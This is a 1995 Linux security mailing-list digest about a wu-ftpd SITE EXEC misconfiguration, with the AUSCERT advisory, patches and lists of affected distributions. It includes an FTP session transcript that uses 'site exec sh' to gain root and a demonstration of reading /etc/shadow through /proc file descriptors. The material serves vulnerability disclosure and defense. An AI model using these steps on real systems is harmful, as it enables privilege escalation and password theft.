/foo/bar, with a directory named /foo/bar/mnt NFS-mounted from host A below it, nfsd should hide anything below that mount point. It has been doing so for ages, except for a tiny exception: When the client C does a readdir, it actually sees the . and .. entries from host A instead of the (hidden) entries from B. That will take some tweaking to fix it, and I haven't done it yet. On the other hand, mountd should never hand out file handles for NFS-mounted directories. Until now, it did check for this. This is fixed in the upcoming 2.2alpha9 version. Finally, a word about shells and other stuff being owned by bin. Normally, having /bin/sh and other files owned by bin should not be a great problem because the bin account should have password `*', and there shouldn't be any setuid bin programs around. So to become bin, the only way is to execute `su - bin' as root. However, this picture changes with NFS. Although we have root squashing, this applies only to uid/gid 0; all other IDs are passed unaltered. The obvious cure against this is to add another exports option to nfsd that squashes all uids/gids within a certain `sensitive range' from, say, 0 through 50. Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ------------------------------ From: [email protected] (Thomas Koenig) Date: Fri, 26 May 1995 16:32:56 +0200 (MET DST) Subject: Should root own binaries? > From: [email protected] (Thomas Koenig) > > Ugh... they should not be. Unless some system binary needs to be setuid > > to a particular userid, it should ALWAYS be owned by root, for exactly > > this reason. > > I'm afraid that I must respectfully but strongly disagree with the last > conclusion. > > I hold it as a strong security tenet that nothing on the file system > should be owned by root. Absolutely nothing at all. Unless, of > course, it will not work otherwise. There is one case when this is absolutely needed: If you export your files via NFS, they should be root - owned; otherwise every host you export them to can modify them. Yes, there's a readonly option; no, it doesn't always work (Linux nfsd before version 2.1 was one example; unfortunately, there are others). > Why is this? I have two primary reasons. > > The first reason is to discourage, as much as possible, the practice > some people have of doing ALL system maintenance work as the super-user. Well, I trust myself enough to do this :-) [...] > to change all files and directories owned by > root - unless I can be persuaded otherwise - to some other user, typi- > cally "bin" (or "sys"). Do these accounts have passwords, or do you reach them via su from root only? Do ANY programs run as these users, daemons, for example (the way Slackware is set up, atrun runs as bin most of the time; any programming error in atrun might lead to breaking into the bin account, and then modifying your system binaries)? Do you use NFS? > The second reason is to discourage the writing of programs that > "really, absolutely, HAVE to be" setuid-root. That's an entirely different kettle of fish. I am talking about, for example, wether /bin/ls should be 755, and owned by root, or 755, and owned by bin. > It is absolutely true that, if someone cracks the "bin" account, they > would then (under this arrangement) be in a good position to get full > control of the system. Yes, precicely. > Note that they would not have full control of > the system immediately, as they would if they were to crack the "root" > account. I wouldn't take long, though. >The solution, though, is to protect ALL system accounts, be > they "root", "bin", "sys", "field" [if such exist], or whatever. Protect them how, exactly? Replace their password entry with '*'? :-) - -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. ------------------------------ From: [email protected] (Marc A. Tamsky) Date: Fri, 26 May 95 01:08:32 PDT Subject: Re: skey + shadow-3.3.1 logins I have a diff file which modifies shadow-based login and su to allow either skey or normal logins. URL:ftp://ftp.as.ucsb.edu/pub/skey/shadow-3.3.1-2.skey.dif - -- | Marc Tamsky -- [email protected] - Linux, the choice of generation-GNU. | Protect your rights: learn, use, and practice safe encryption. | | i meant cli at the top and sti's at the returns, i think, right? (this is | great, i love knowing nothing about what I'm doing to my kernel) - r-man ------------------------------ From: "Joseph S. D. Yao" Date: Thu, 25 May 1995 15:27:18 -0400 Subject: Re: switching symlinks on atrun [mod: I'm approving this post as well as Thomas' reply even though they're not very Linux-specific. Please send any follow-ups to the authors. --okir] From: [email protected] (Thomas Koenig) > From: [email protected] (Michael Shields) > > From: [email protected] (Thomas Koenig) > > > /var/spool/atrun is owned by a non - root userid, usually bin. > > > If somebody broke into bin, he could then execute a shell script > > > owned by root with root permissions, via a > > But lots of things are owned by bin. /bin/sh is probably owned by bin. > > If you have bin, you can get root, at or no at. > Ugh... they should not be. Unless some system binary needs to be setuid > to a particular userid, it should ALWAYS be owned by root, for exactly > this reason. I'm afraid that I must respectfully but strongly disagree with the last conclusion. I hold it as a strong security tenet that nothing on the file system should be owned by root. Absolutely nothing at all. Unless, of course, it will not work otherwise. Why is this? I have two primary reasons. The first reason is to discourage, as much as possible, the practice some people have of doing ALL system maintenance work as the super-user. This horrible practice makes me shudder. The super-user account has a lot of power: it blithely ignores ALL restrictions on file system per- missions, and gives quite a few other powers besides. If one is capable of making mistakes - and we are all human, who has never made a mistake? - - then making a mistake AS THE SUPER-USER magnifies the possible conse- quences of that mistake N-fold. Consequently, one of the first things that I do on any system is to change all files and directories owned by root - unless I can be persuaded otherwise - to some other user, typi- cally "bin" (or "sys"). The second reason is to discourage the writing of programs that "really, absolutely, HAVE to be" setuid-root. For at least half of the programs that I've seen, whose authors wanted them to be setuid-root, there was a perfectly acceptable setgid-something solution. Making a program setuid-root, to overcome all problems with file system or other permissions, is often just a lazy way out. Because of the aforemen- tioned powers that a process running as the super-user has, I don't like to proliferate such programs. It is absolutely true that, if someone cracks the "bin" account, they would then (under this arrangement) be in a good position to get full control of the system. Note that they would not have full control of the system immediately, as they would if they were to crack the "root" account. The solution, though, is to protect ALL system accounts, be they "root", "bin", "sys", "field" [if such exist], or whatever. Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: thomas Date: Mon, 29 May 1995 21:13:32 +0200 (GMT+0200) Subject: Wu-ftpd. [mod: When I tried this out, it didn't work for me. Looking at the source, I found that an unmodified wu-fptd-2.4. prepends /bin/ftp-exec to every command received in a SITE EXEC request. Unless I have overlooked something big, and unless binaries from some Linux distributions have been `improved' by adding a different _PATH_EXECPATH #define, I can't see how this should work. If it does on your system, please get in contact with us. --okir] This was grabbed from USENET comp.security.unix We tested it out, in /etc/ftpaccess you can deny chmod but since local users can use a shell to chmod and then run the shell from FTP. I am looking at a fix, but I haven't finished it yet. And, should the fix be as a define in /etc/ftpaccess or just remove exec's alltogether? Guess someone with more understandings of the WU-ftpd can make a neater fix. If it's nessesary... - --- Forwarded message follows --- From: [email protected] (Michel) Date: Sat, 27 May 1995 02:43:42 UTC Subject: Re: is /usr/bin/passwd as a shell a security-hazard? > xhost +open-linux.somewhere.edu open-linux.somewhere.edu being added to access control list > > cat >fun.sh #!/bin/sh cat >fun.c < > ftp open-linux.somewhere.edu Connected to open-linux.somewhere.edu. 220 open-linux.somewhere.edu FTP server (Version wu-2.4(1) Wed May 10 21:00:32 CDT 1995) ready. Name (open-linux.somewhere.edu:cracker): cracker 331 Password required for cracker. Password: 230 User cracker logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> put fun.sh 200 PORT command successful. 150 Opening BINARY mode data connection for fun.sh. 226 Transfer complete. 169 bytes sent in 0.00109 secs (1.5e+02 Kbytes/sec) ftp> quote "site chmod 755 fun.sh" 200 CHMOD command successful. ftp> quote "site exec sh fun.sh" 200-sh fun.sh 200 (end of 'sh fun.sh') ------------------------------ From: Thomas Lundquist Date: Tue, 30 May 1995 21:43:14 +0200 (GMT+0200) Subject: Re: Wu-ftpd. On Mon, 29 May 1995, the Linux security list wrote: As previously stated (to recap) this thing does only work if you are a user on the system. Altho, if the /etc/ftpaccess is configured wrongly it may be possible for anonymous too. I have "hacked" the source and made a version that logs the exec and returns a NONO to the user. And of course does not execute the command. I know this change works, but since it's there in the first place it has to have a use. What use I haven't noticed yet. I can down and upload files as before. The following diff can be patched to src/ftpcmd.y in the wu-ftpd source (version 2.4) It's a simple diff. I am sure it can be done in a more neater way tho. Thomas. [mod: I trimmed the quoting somewhat. I'd also like to ask people posting patches to send context diffs or unified diffs. They're easier to read and have a higher chance of being applicable to newer versions of the same program as well. Lastly, let me repeat that there's an easy fix for this hole: simply set the EXECPATH define in src/pathnames.h to a non-existent directory such as /bin/ftp-exec. --okir] - --- cut here --- 1429a1430,1432 > /* > * The declarations belov it kept to be sure we don't break too much. > */ 1434c1437,1440 < /* sanitize the command-string */ - --- > /* Nope! We don't want to EXEC anythig.. > * So, we will deny the moron and log him. > * [email protected] May '95 > */ 1436,1462c1442,1445 < if (sp == 0) { < while ((slash = strchr (cmd, '/')) != 0) < cmd = slash + 1; < } else { < while (sp && (slash = (char *) strchr(cmd, '/')) < && (slash < sp)) < cmd = slash+1; < } < < for (t = cmd; *t && !isspace(*t); t++) { < if (isupper(*t)) { < *t = tolower(*t); < } < } < < /* build the command */ < if (strlen(_PATH_EXECPATH) + strlen(cmd) + 1 > sizeof(buf)) < return; < sprintf(buf, "%s/%s", _PATH_EXECPATH, cmd); < < cmdf = ftpd_popen(buf, "r", 0); < if (!cmdf) { < perror_reply(550, cmd); < if (log_commands) < syslog(LOG_INFO, "SITE EXEC (FAIL: %m): %s", cmd); < } else { < int lines = 0; - --- > /* I have logged it as critical, another choice may be warning. > * That is LOG_WARNING (see sys/syslog.h for the choises.) > */ > syslog(LOG_CRIT, "ATTEMPT: SITE EXEC, Command: %s ", cmd); 1464,1466c1447,1449 < lreply(200, cmd); < while (fgets(buf, sizeof buf, cmdf)) { < int len = strlen(buf); - --- > /* The reply can of course be changed to a more polite denial..:=) > */ > reply(200, "No freaking way!"); 1468,1480d1450 < if (len>0 && buf[len-1]=='\n') < buf[--len] = '\0'; < lreply(200, buf); < if (++lines >= 20) { < lreply(200, "*** Truncated ***"); < break; < } < } < reply(200, " (end of '%s')", cmd); < if (log_commands) < syslog(LOG_INFO, "SITE EXEC (lines: %d): %s", lines, cmd); < ftpd_pclose(cmdf); < } ------------------------------ End of linux-security-digest V1 #22 *********************************** linux-security-digest/1995/v01.n023100664 1767 1767 34562 5765254400 16064 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #23 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 7 June 1995 Volume 01 : Number 023 Re: Wu-ftpd. Re: SECURITY: problem with some wu-ftpd-2.4 binaries wu-ftp aa-95.04 wu-ftpd misconfiguration vulnerability wu-ftpd: affected ditributions ---------------------------------------------------------------------- From: "Halvor Kise jr." Date: Tue, 30 May 1995 02:26:22 +0200 (MET DST) Subject: Re: Wu-ftpd. Hello all! What this fellow forgot to tell is that you need to have an account at the system. It does NOT work (with the default settings) for an anon user. We have tried this on three Linux boxes, and it worked on all of them. Our CBM-64 ftpsite is now down until we find a fix for this problem. :~( And I have talked to Thomas about his fix. But we dont agree if it should be a define in /etc/ftpaccess or what? Good hunting! - - Halvor. [mod: quoting trimmed --okir] - -- *** MEMENTO MORI *** PGP-key by fingering [email protected]
Halvor's Homepage.

------------------------------ From: Malcolm Beattie Date: Thu, 1 Jun 1995 09:23:58 +0000 (BST) Subject: Re: SECURITY: problem with some wu-ftpd-2.4 binaries [mod: quoting trimmed --okir] For those who can't afford to shut off the daemon, the following should work OK. Just edit the ftpd binary (emacs is your friend :-) and change the unique occurrence of "/bin\0" to something like "/zzz\0" (in other words, any string of the same length which refers to a directory which exists neither under / nor under ~ftp). If you're using emacs, just hit C-s / b i n C-q C-@ to search for the appropriate place. This should work provided you don't rely on anything using site exec, but YMMV. Usual disclaimers, of course. - --Malcolm - -- Malcolm Beattie Unix Systems Programmer Oxford University Computing Services ------------------------------ From: *Hobbit* Date: Wed, 31 May 1995 08:29:24 -0400 Subject: wu-ftp A while ago I did several fixes to wu-ftpd-2.4 that makes it much more paranoid, includes some mods I found in a Debian release someplace, and adds s/key support. By default it disables all SITE commands completely, although that might not be what you were looking for. Anyway, start with avian.org:/src/fixkits/README and look at wu24.fix if you're curious. _H* ------------------------------ From: Australian Computer Emergency Response Team Date: Fri Jun 2 14:53:30 1995 Subject: aa-95.04 wu-ftpd misconfiguration vulnerability [mod: This was originally sent to linux-alert. --okir] ============================================================================= AA-95.04 AUSCERT Advisory June 2, 1995 wu-ftpd misconfiguration vulnerability - ----------------------------------------------------------------------------- A problem exists with certain configurations of the Washington University ftpd which may allow root access from any account on the system. This vulnerability was described in the AA-94.01 Advisory, which is available from: ftp://ftp.auscert.org.au/pub/auscert/advisory/ AA-94.01.ftpd.Configuration.Advice Please note that AUSCERT previously operated as SERT. AUSCERT contact details (below) supercede the SERT details included in AA-94.01. Note: This Advisory contains new and updated information. *** The Australian Computer Emergency Response Team has received information *** that some pre-compiled wu-ftpd-2.4 binaries distributed with Linux have *** a vulnerable configuration by default. All other users of wu-ftpd should take this opportunity to verify the configuration of their daemons. Versions of wu-ftpd prior to 2.4 contain serious security vulnerabilities and should be updated immediately. 1. Description A vulnerability exists in certain configurations of wu-ftpd which may allow users to gain root access. The vulnerability has been described previously in the AA-94.01 Advisory. In its original form, the vulnerability was not enabled by default. However, certain distributions of Linux contain a wu.ftpd that has been compiled with a vulnerable configuration. This vulnerable configuration is distributed and run by default. This vulnerability has been confirmed for Linux Slackware-2.1 and 2.2. It has been claimed that Linux Slackware-2.0 and 2.3 are also affected. Other versions may similarly be affected. To test whether your system is affected, see Section 3 (Detection). Non-Linux systems running wu-ftpd should also be checked to determine if the configuration is vulnerable. See Section 3 (Detection). The pre-compiled binaries shipped for Linux Slackware distributions are vulnerable. The variable _PATH_EXECPATH has been set to "/bin" in the configuration file src/pathnames.h when the distribution binary was built. _PATH_EXECPATH should be set to "/bin/ftp-exec" or a similar directory that does not contain a shell or command interpreter. The source code shipped with the Linux distributions contains the correct value ("/bin/ftp-exec") (which should be verified before recompiling), despite the incorrect distribution binary. See Section 4.2 for further information. The documentation states that the directory defined by _PATH_EXECPATH is relative to ~ftp. This is misleading. The pathname is relative to ~ftp for anonymous users only. It is relative to "/" for normal user sessions. Floppy-only distributions of Linux do not contain source code. The latest version of the wu-ftpd source code can be obtained from: ftp://ftp.auscert.org.au/pub/mirrors/wuarchive.wustl.edu/ packages/wuarchive-ftpd/wu-ftpd-2.4.tar.Z A diff(1) file exists to modify the wu-ftpd source code to allow it to compile on Linux. The application of this patch will cause the vulnerable configuration to exist. *** The patch file wu-ftpd-2.4.diff.gz for Linux contains incorrect *** information. This should be corrected and verified before recompiling. 2. Impact Anyone who has a local account on the system offering ftp services with the vulnerable configuration may gain root access. Support for anonymous ftp access is not required to exploit this vulnerability. 3. Detection Vulnerable systems can be detected by executing (as a user) the commands below or by running strings(1) against the wu-ftpd daemon. Both tests are recommended. 3.1 Detection using user commands To test your configuration to see if you are vulnerable, you can execute the following commands: srchost> ftp ftphost Connected to ftphost 220 ftphost FTP server (Version wu-2.4(2) Mon Apr 18 09:12:35 GMT+1000 1994) ready. Name (srchost:user): 331 Password required for user. Password: 230 User user logged in. ftp> quote site exec echo problem 200-echo problem 200-problem 200 (end of 'echo problem') ftp> quit 221 Goodbye. srchost> If you receive the line "200-problem", then your site is vulnerable. Note that this does not work for anonymous ftp access, or for all vulnerable configurations. 3.2 Detection using strings(1) Determine the location of the SITE EXEC path by executing the following command on the src/pathnames.h file: $ grep _PATH_EXECPATH pathnames.h #define _PATH_EXECPATH "/bin/ftp-exec" $ Use the output of this command to verify that the currently running binary is configured the same as the source code. Note, you should consult your documentation for strings(1) to determine the correct switch for examining the entire binary: $ strings -a wu.ftpd | grep "/bin/ftp-exec" /bin/ftp-exec $ If the binary contains the same pathname for _PATH_EXECPATH, then you have determined the correct location for the SITE EXEC commands. The directory defined by _PATH_EXECPATH should not contain a shell or command interpreter (such as perl) and should not be world or group writeable, nor should any directory back to the root directory (/) be group or world writeable. Permissions 511 are acceptable. 4. Recovery If you have the vulnerability and you are unsure how to rectify it immediately, you should disable your ftp daemon until the configuration can be corrected. 4.1 Temporary workaround If you are unsure how to rebuild a new ftpd daemon, then an interim workaround is to disable the existing service. Note: this will cause all incoming ftp requests to fail. 1. become root 2. comment out ftp in /etc/inetd.conf by prepending # to the line, ie: #ftp stream tcp 3. Restart the inetd process. On most systems, this is done by sending a HUP signal to the inetd process. For example: # /bin/ps -ef | grep inetd | grep -v grep (System V) or # /bin/ps -aux | grep inetd | grep -v grep (BSD) followed by: # kill -HUP You should verify that the ftp service has been disabled by attempting to connect to it. You should see a "connection refused" message. 4.2 Correcting the configuration Ensure that the _PATH_EXECPATH definition in src/pathnames.h is "/bin/ftp-exec" and not "/bin" or any other system directory containing a shell or interpreter, and then recompile. If the wu-ftpd-2.4.diff.gz patch has been applied on Linux systems, the patched version of pathnames.h will be vulnerable. This file should be edited manually before the rebuild to correct the _PATH_EXECPATH definition to "/bin/ftp-exec". Replace the existing ftpd binary with the newly built version. 5. Instructions to enable SITE EXEC Once the running binary has been confirmed as not containing the vulnerable configuration, the SITE EXEC commands can be enabled by following the following steps. a) Ensure that the _PATH_EXECPATH definition in pathnames.h is "/bin/ftp-exec" and not "/bin" or any other system directory containing a shell. This should also be checked in the binary version (see Section 3.2). b) Create ~ftp/bin/ftp-exec. This should be owned by root, permissions set to 555. c) Copy the statically linked binaries that you want available for execution by SITE EXEC into the ~ftp/bin/ftp-exec directory. These should be owned by root, permissions 111. The binaries should never be a shell or command interpreter that allows arbitrary programs to be run. d) If you want the DIR ftp command, you will need a hard link from ~ftp/bin/ls to ~ftp/bin/ftp-exec/ls or a copy of ls in ~ftp/bin. The instructions above enable SITE EXEC commands for anonymous users only. To enable SITE EXEC commands for normal ftp users: e) Create a symbolic link from /bin/ftp-exec to ~ftp/bin/ftp-exec. You should follow file ownership, group membership and permissions strictly according to your documentation. Note that some versions of ftp contain incorrect information for setting file permissions and ownership. Further information can be found in: ftp://ftp.auscert.org.au/pub/mirrors/cert.org/tech_tips/anonymous_ftp - ---------------------------------------------------------------------------- AUSCERT would like to acknowledge Michel ([email protected]), Thomas Lundquist ([email protected]), Aleph One ([email protected]), Olaf Kirch ([email protected]), Jeff Uphoff, and Dave Barr ([email protected]) for information published about the Linux problem. AUSCERT would like to thank Dr. Ian Hoyle from BHP Research and Reinhard Uebel from QTAC for their assistance in confirming the extent of this vulnerability. - ---------------------------------------------------------------------------- If you believe that your system has been compromised, contact AUSCERT or your representative in FIRST (Forum of Incident Response and Security Teams). AUSCERT is the Australian Computer Emergency Response Team, funded by the Australian Academic Research Network (AARNet) for its members. It is located at The University of Queensland within the Prentice Centre. AUSCERT is a full member of the Forum of Incident Response and Security Teams (FIRST). AUSCERT maintains an anonymous FTP service which is found on: ftp://ftp.auscert.org.au. This archive contains past SERT and AUSCERT Advisories, and other computer security information. AUSCERT also maintains a World Wide Web service which is found on: http://www.auscert.org.au. Internet Email: [email protected] Facsimile: (07) 365 4477 Telephone: (07) 365 4417 (International: +61 7 365 4417) AUSCERT personnel answer during Queensland business hours which are GMT+10:00 (AEST). On call after hours for emergencies. Postal: Australian Computer Emergency Response Team c/- Prentice Centre The University of Queensland Brisbane Qld. 4072. AUSTRALIA ------------------------------ From: [email protected] (Olaf Kirch) Date: Fri, 2 Jun 1995 16:32:50 +0200 (MET DST) Subject: wu-ftpd: affected ditributions Hi all, here's the current list of Linux distributions with information on their vulnerability. Yggdrasil Plug&Play, Fall 94 vulnerable Red Hat Helloween Release not vulnerable (*) Mother's Day Release not vulnerable (*) Debian Distribution vulnerable, fixed on primary FTP site as of yesterday (*) Slackware Versions 2.0, 2.1, 2.2, 2.3 vulnerable (*) These have been reported by the distribution maintainers themselves. Thanks a lot to everyone who sent this information! Have a nice day Olaf PS: Sorry for my garbled PGP signature on the linux-alert posting. I sent it out with mailx, and it gobbled one line that started with `~ftp/bin' :-( - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ------------------------------ End of linux-security-digest V1 #23 *********************************** linux-security-digest/1995/v01.n024100664 1767 1767 36054 5767671171 16075 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #24 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 14 June 1995 Volume 01 : Number 024 Linux Security FAQ Update#4: Washington University FTP Daemon Version 2.4 Another problem with wu-ftpd (shadow) Re: Another problem with wu-ftpd (shadow) wu.ftpd InfoMagic March 1995 Fix. wu-ftpd and /proc again ---------------------------------------------------------------------- From: alex Date: Tue, 6 Jun 1995 16:04:56 -0400 (EDT) Subject: Linux Security FAQ Update#4: Washington University FTP Daemon Version 2.4 - - - - LSF Update # 4 - - - Washington University FTP Server Version 2.4 LINUX SECURITY FAQ UPDATE June 3, 1995 11:37 EST Copyright (C) 1995 Alexander O. Yuriev CIS Laboratories, TEMPLE UNIVERSITY - ----------------------------------------------------------------------------- This is an update to Linux Security FAQ. The FAQ itself is not completely written yet and currently covers only Slackware Linux distribution. If you use a different Linux distribution and the location name of some files differ from the ones used in this update, please drop me a note at at . If you create your own Linux distributions that are being placed on FTP sites or CDs, please contact me! Linux FAQ WWW is http://bach.cis.temple.edu/linux/linux-security - ----------------------------------------------------------------------------- On June 2, 1995, the Australian Computer Emergency Response Team published an advisory about the security hole in some binaries of the wu.ftpd 2.4 (Washington University FTP Server) in major Linux distributions. This Linux Security FAQ Update is an attempt to provide more detailed information about the vulnerability of the Washington University FTP Server and methods of fixing it. ABSTRACT: The default configuration of the Washington University FTP Server version 2.4 in major Linux distributions including Slackware 2.0, 2.1, 2.2, 2.3, Yggdrasil Plug&Play Fall'94 and Debian Distribution has a configuration problem which allows any user with an account on a system to gain the root access. DETECTION: The following set of commands can be used to determine if your ftp server is affected (source host's name is viper. The name of a system being checked is devnull) [jru@viper]:~> ftp devnull Connected to devnull 220 ftphost FTP server (Version wu-2.4(3) Wed May 31 04:11:15 EDT 1995) Name (devnull:jru): jru 331 Password required for jru Password: 230 User user logged in. ftp> quote site exec echo Joe Random User 200-echo Joe Random User 200-Joe Random User 200 (end of 'echo Joe Random User') ftp> quit 221 Goodbye. If you see the phrase you specified in echo command is displayed on the screen, then the configuration of the ftp server on the host is probably vulnerable and you will need to obtain a fix for it. QUICK FIX: Unfortunately, the fix is more than a one step process. We advise you to start by shutting down the ftp server using the command: ftpshut now This command blocks all connections to the ftp server. ANONYMOUS FTP: Unfortunately, it is not possible to be 100% sure if the anonymous ftp is affected. In theory, if all of the following conditions are true an anonymous ftp user can exploit the hole: 1) Uploads are allowed 2) Anonymous users are allowed to use chmod. 3) GNU tar is present in the SITE EXECable directory In practice, we could not reconstruct an attack that can be used by the anonymous user to exploit the hole. [Olaf Kirch managed to open a non-root xterm(1) window from as an anonymous user] Nevertheless, please close it just to be safe. We would also like to mention that there should be absolutely no reason to allow an anonymous user to change access permissions of files from your ftp server. To block it, edit the ftpaccess file which is usually located in the /etc directory (/etc/ftpaccess) and the add line. chmod no guest, anonymous OBTAINING A FIX: Debian/GNU Linux: Users of Debian Linux Distribution can obtain fixed binary from the primary Debian distribution site. wu-ftpd 2.4 source code: The correctly configured wu-ftpd 2.4 server for Linux can be obtained at the following URLs: ftp://linux.nrao.edu/pub/people/alex/wu-ftpd-2.4-fix/ ftp://linux.nrao.edu/pub/people/alex/wu-ftpd-2.4-fix/ ftp://sunsite.unc.edu/pub/Linux/ (I don't know where it will end up) In addition to the source code of patched wu-ftpd 2.4 you can get the patch that would create a "fixed" tree from the original wu-ftpd 2. and the wu-ftpd 2.4 itself. All files have their MD5 checksums in the file CHECKSUMS in the same directory. LIST OF AFFECTED DISTRIBUTIONS: As of today, we are aware that the following distributions are affected and have to be patched: Slackware Linux 2.0 Slackware Linux 2.1 Slackware Linux 2.2 Slackware Linux 2.3 Debian/GNU Linux Yggdrasil Plug&Play'94 Authors of Red Hat Linux distributions claim that their distributions are not affected. Unfortunately, we were unable to verify this claim as apparently neither Olaf Kirch nor Jeff Uphoff nor I have access to it, although we do hope that it is true. The Red Hat Linux Distributions are known to have the latest fixes included. We would like users of other Linux distributions to inform us if their version of wu-ftpd was affected. If you are a user or a maintainer of one of the following distributions, please contact us. Bogus Mini Linux Distribution TAMU SLS MCC "OUR THANK YOU" I would like to thank the following people for their help in researching this problem and providing a solution: Olaf Kirch Wolfgang Ley Jeff Uphoff - - - - - - LSF Update # 4 - - - - - - ============================================================================= CIS Laboratories email: [email protected] TEMPLE UNIVERSITY [email protected] USA Tel: 1-800-DEV-NULL http://bach.cis.temple.edu ============================================================================= ------------------------------ From: Marek Michalkiewicz Date: Fri, 9 Jun 1995 16:08:12 +0200 (MET DST) Subject: Another problem with wu-ftpd (shadow) Hi, This affects wu-ftpd and possibly any other programs with incorrectly hacked in shadow support. Non-shadow versions found in most Linux distributions are not affected - or are all affected and you can't fix it because /etc/passwd is world-readable, depending on how you look at it... This is related to the /proc security problem discussed recently - normal users can read /etc/shadow because this file is not closed and /proc gives access to all open files. Below is how to check if you are vulnerable: Script started on Fri Jun 9 15:09:49 1995 marekm@i17linuxa:~$ ftp -n localhost Connected to localhost. 220 i17linuxa FTP server (Version wu-2.4(2) Thu Jun 1 20:05:10 MET DST 1995) ready. Remote system type is UNIX. Using binary mode to transfer files. ftp> user marekm 331 Password required for marekm. Password: 230 User marekm logged in. ftp> ^Z [1]+ Stopped ftp -n localhost marekm@i17linuxa:~$ ps uwx USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND marekm 15510 0.0 5.4 384 384 pp6 S 14:32 0:01 -bash marekm 15808 0.2 2.2 29 156 pp6 S 15:09 0:00 script marekm 15809 0.1 2.3 29 168 pp6 S 15:09 0:00 script marekm 15810 1.3 6.7 377 472 pp4 S 15:09 0:00 bash -i marekm 15811 0.7 3.9 113 276 pp4 T 15:09 0:00 ftp -n localhost marekm 15812 2.0 7.1 157 500 con S 15:09 0:00 -localhost: marekm: IDLE marekm 15816 0.0 3.1 64 224 pp4 R 15:10 0:00 ps uwx marekm@i17linuxa:~$ ls -al /proc/15812/fd total 0 dr-x------ 2 marekm users 0 Jun 9 15:10 . dr-xr-xr-x 4 marekm users 0 Jun 9 15:10 .. lrwx------ 1 marekm users 64 Jun 9 15:10 0 -> [0000]:0 lrwx------ 1 marekm users 64 Jun 9 15:10 1 -> [0000]:0 l-wx------ 1 marekm users 64 Jun 9 15:10 10 -> [0301]:4623 l-wx------ 1 marekm users 64 Jun 9 15:10 11 -> [0301]:4624 l-wx------ 1 marekm users 64 Jun 9 15:10 2 -> [0301]:10404 lrwx------ 1 marekm users 64 Jun 9 15:10 3 -> [0000]:0 lrwx------ 1 marekm users 64 Jun 9 15:10 4 -> [0000]:0 lr-x------ 1 marekm users 64 Jun 9 15:10 5 -> [0301]:38392 lr-x------ 1 marekm users 64 Jun 9 15:10 6 -> [0301]:8567 lrwx------ 1 marekm users 64 Jun 9 15:10 7 -> [0301]:34549 lr-x------ 1 marekm users 64 Jun 9 15:10 8 -> [0301]:8569 lr-x------ 1 marekm users 64 Jun 9 15:10 9 -> [0301]:32007 marekm@i17linuxa:~$ ls -i /etc/shadow 32007 /etc/shadow marekm@i17linuxa:~$ cat /proc/15812/fd/9 [ snip - I don't want everyone to see my /etc/shadow :-) ] marekm@i17linuxa:~$ fg ftp -n localhost 221 Goodbye. marekm@i17linuxa:~$ exit Script done on Fri Jun 9 15:11:26 1995 OK, now for the fix: - --- ftpd.c.orig Thu Jun 1 19:27:42 1995 +++ ftpd.c Fri Jun 9 14:50:46 1995 @@ -996,6 +996,7 @@ struct spwd *spw = getspnam( pw->pw_name ); if( !spw ) { pw->pw_passwd = ""; } else { pw->pw_passwd = spw->sp_pwdp; } + endspent(); } #endif Now /etc/shadow is correctly closed as soon as possible. The right fix is IMHO to do some more checks in the kernel to remove /proc holes, but I am not in a position to do it correctly... Linus, 1.2.10? :-) Regards, Marek Michalkiewicz ------------------------------ From: [email protected] (Thomas Quinot) Date: 11 Jun 1995 11:14:26 GMT Subject: Re: Another problem with wu-ftpd (shadow) Marek Michalkiewicz �crit : > marekm@i17linuxa:~$ ps uwx > marekm 15812 2.0 7.1 157 500 con S 15:09 0:00 -localhost: marekm: IDLE > marekm 15816 0.0 3.1 64 224 pp4 R 15:10 0:00 ps uwx > marekm@i17linuxa:~$ ls -al /proc/15812/fd I cannot do that... (Permission denied) (Kernel is 1.2.9, vanilla as far as /proc is concerned.) > marekm@i17linuxa:~$ ls -i /etc/shadow > 32007 /etc/shadow > marekm@i17linuxa:~$ cat /proc/15812/fd/9 Even root gets nothing but a blank file here... Nevertheless I applied your patch. Thanks ! - -- [email protected] | Linux : the choice of a GNU generation [Mod: Obviously there is some debate as to whether or how this hole works. Please check it out if you have a setup that might be vulnerable (i.e. you run both shadow and an "insecure" wu-ftpd binary) and then direct all further correspondence regarding this to the author of the post originally outlining the hole: Marek Michalkiewicz . I'd like to ask him to please summarize anything new that is uncovered. Thanks much! --Jeff.] ------------------------------ From: "Louis J. LaBash Jr." Date: Wed, 7 Jun 1995 14:52:50 +0100 (CDT) Subject: wu.ftpd InfoMagic March 1995 Fix. Hi, The "wu-ftpd-2.4.diff.gz" patch-file produces a vulnerable "wu.ftpd" which allows anyone with an account on the machine to become root user. Solutions range from simple, disable "wu.ftpd"; to easy, recompile. The appended script, "wu-ftpd.sh", will accomplish the latter. ========================================================================= Instructions, *as root*, for InfoMagic's March 1995 4CD-set, assuming Disc 1 is mounted on "/cdrom". The initial "cd" is to "/usr/src", where the build will occur. Cut on '-' lines & save as wu-ftpd.sh; "chmod 700 wu-ftpd.sh"; "wu-ftpd.sh". - ----------------------------wu-ftpd.sh----------------------------------- # wu-ftpd.sh (1), created 3JUN95 by Louis J. LaBash, Jr. # For InfoMagic's March 1995 4CD-set, Disc 1 mounted on "/cdrom"; # build will occur in "/usr/src/wu-ftpd-2.4". # Change in src/pathnames.h: (fixes security hole) # #define _PATH_EXECPATH from "/bin" to "/bin/ftp-exec" # References: # ftp://ftp.auscert.org.au/pub/auscert/advisory/ # AA-94.01.ftpd.Configuration.Advice -18APR94- # AA-95.04.wu-ftpd.misconfiguration.vulnerability -02JUN95- # wu-ftpd-2.4/INSTALL -01APR94- # /cdrom/Slackware_Source/n/tcpip/SlackBuild -02MAR95- cd /usr/src rm -rf wu-ftpd-2.4 tar xvzf 